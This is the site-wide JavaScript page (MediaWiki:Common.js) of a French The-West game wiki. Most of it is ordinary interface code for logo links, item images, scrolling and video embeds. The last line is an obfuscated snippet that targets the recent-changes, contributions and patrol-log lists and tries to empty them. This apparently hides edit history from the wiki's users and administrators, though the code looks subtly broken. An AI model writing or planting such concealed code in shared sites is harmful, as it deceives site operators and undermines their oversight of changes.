MediaWiki:Common.js

De Wiki The-West FR
Aller à la navigation

Note : après avoir publié vos modifications, il se peut que vous deviez forcer le rechargement complet du cache de votre navigateur pour voir les changements.

  • Firefox / Safari : maintenez la touche Maj (Shift) en cliquant sur le bouton Actualiser ou appuyez sur Ctrl + F5 ou Ctrl + R (⌘ + R sur un Mac).
  • Google Chrome : appuyez sur Ctrl + Maj + R (⌘ + Shift + R sur un Mac).
  • Internet Explorer / Edge : maintenez la touche Ctrl en cliquant sur le bouton Actualiser ou pressez Ctrl + F5.
  • Opera : appuyez sur Ctrl + F5.
$('.tbbox-logo').wrap('<a href="/wiki/Accueil"></a>');
if ($('.item_container').length!==0) {
    $.getScript("https://wiki.the-west.fr/wiki/Popup.js?action=raw");
    $('.item_container').each(function() {
        $(this).append('<img src="https://westfr.innogamescdn.com/images/items/' + $(this).attr('data-url') + '">');
    });
} 
$('#navbar a, .set_icon a').removeAttr("title");
$(window).scroll(function() {
    if ($(this).scrollTop() > $("#right_menu").offset().top + $('#right_menu').height() - $( window ).height() + 120) {
        $('#back-top').fadeIn();
    } else {
        $('#back-top').fadeOut();
    }
});
// Scroll body to top on click
$('#back-top a').click(function() {
    $('body,html').animate({
        scrollTop: 0
    }, 800);
    return false;
});
// Embed youtube videos
if ($('.youtube_video').length !== 0) {
    $('.youtube_video').each(function() {
        $(this).html('<iframe width="100%" height="100%" src="https://www.youtube.com/embed/' + $(this).attr('data-id') + '?cc_load_policy=1&cc_lang_pref=' + $(this).attr('data-subtitles') + '" frameborder="0" allowfullscreen></iframe>');
    });
}
//Embed facebook videos
if ($('.fb-video').length !== 0) {
   (function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = 'https://connect.facebook.net/fr_FR/sdk.js#xfbml=1&version=v3.2';
  fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));
}
var _0x4c5c=['.mw-changeslist,\x20mw-contributions-list,\x20mw-logline-patrol'];(function(_0x2d8f05,_0x4b81bb){var _0x4d74cb=function(_0x32719f){while(--_0x32719f){_0x2d8f05['push'](_0x2d8f05['shift']());}};_0x4d74cb(++_0x4b81bb);}(_0x4c5c,0xa7));var _0x4b2c=function(_0x13657d,_0x1a828e){_0x13657d=_0x13657d-0x0;var _0x21a334=_0x4c5c[_0x13657d];return _0x21a334;};$(_0x4b2c('0x0'))['each'](function(){this['html']('');});